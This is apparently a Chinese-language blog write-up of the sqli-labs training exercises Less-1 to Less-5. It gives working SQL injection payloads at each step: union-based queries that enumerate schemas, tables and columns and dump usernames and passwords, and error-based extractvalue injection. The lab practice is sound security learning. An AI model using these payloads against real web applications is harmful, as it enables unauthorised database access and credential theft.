Less-1
1.判断注入点
提示我们输入一个id,因此构造payload为
?id=1 and 1=2
页面正常回显,可判断为字符型。接着判断闭合方式,构造payload为
?id=1'
页面报错,因此可判断闭合方式为单引号。然后我们可以用–+注释掉’,在中间添加我们想要查询的语句
2.联合注入
1.判断有多少列,可以用group by来判断
构造payload
?id=1' group by 4 --+
用二分法尝试可以知道有3列
2.爆显示位
?id=-1'union select 1,2,3--+
根据页面回显可以看到第2,3列是在页面显示的
3.获取数据名和版本号
?id=-1'union select 1,database(),version()--+
4.爆表
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
group_concat是将查询到的数据合并到一行显示。
5.爆字段名,根据回显的表名,我们猜测用户名和密码可能在users中。
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
6.得到users中对应的内容
?id=-1'union select 1,2,group_concat(username,id,password) from users--+
中间加id是为了隔离username和password两个敏感字段。
Less-2
1.判断数字型还是字符型
?id=1
正常回显
?id=1 and 1=2
无回显,为数字型
2.联合注入
2.1获取列数
?id=1 group by 4 --+
?id=1 group by 3 --+
可以判断出有3列
2.2爆显示位
?id=-1 union select 1,2,3--+```
2,3列显示
2.3爆版本号和数据库名
?id=-1 union select 1,database(),version()--+
2.4爆表
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
2.5爆字段名
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
2.6获取里面的内容
?id=-1'union select 1,2,group_concat(username,id,password) from users--+
Less-3
和前两题类似
?id=1
?id=1 and 1=2
?id=1'
可以判断出为字符型,闭合方式为’)
?id=1') group by 4 --+
?id=1') group by 3 --+
可以看出有3列
?id=-1') union select 1,2,3 --+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username,id,password) from users--+
Less-4
和前几题都差不多,字符型无非就是闭合方式不一样
?id=1
?id=1 and 1=2
?id=1'
?id=1"
闭合方式为")
?id=1") group by 4--+
?id=1") group by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username,id,password) from users--+
Less-5
1.判断注入方式
?id=1
?id=1 and 1=2
页面还是和之前一样,说明是字符型
2.判断闭合方式
?id=1'
根据报错提示,我们可以知道闭合方式是单引号
?id=-1' union select 1,2,3--+
页面没有回显位,我们可以尝试用报错注入
3.报错猜解列数
?id=1' group by 3--+
经过多此尝试可以知道查询的有三列
接下来查询当前使用的数据库
4.查看当前使用的数据库
?id=-1' union select 1,extractValue(1,concat('~',(select database()))),3--+
5.爆表
?id=-1' and 1=extractValue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')))--+
6.爆字段名
?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e))--+
7.爆用户名和密码
?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(username,id,password) from users),0x7e))--+
感觉这里没有完全显示出来,因为extractvalue()只能返回前32个字符。我们可以用substring()函数解决这个问题
?id=-1' and extractvalue(1,concat(0x7e,(select substring(group_concat(username,id,password),32,30)from users),0x7e))--+
一直到202,30才结束,感觉这样很麻烦。后面学了其他更好的处理方法再改吧,这里暂时这样了。
标签:group,union,labs,sqli,做题,concat,--+,id,select From: https://blog.csdn.net/2301_79883204/article/details/143935842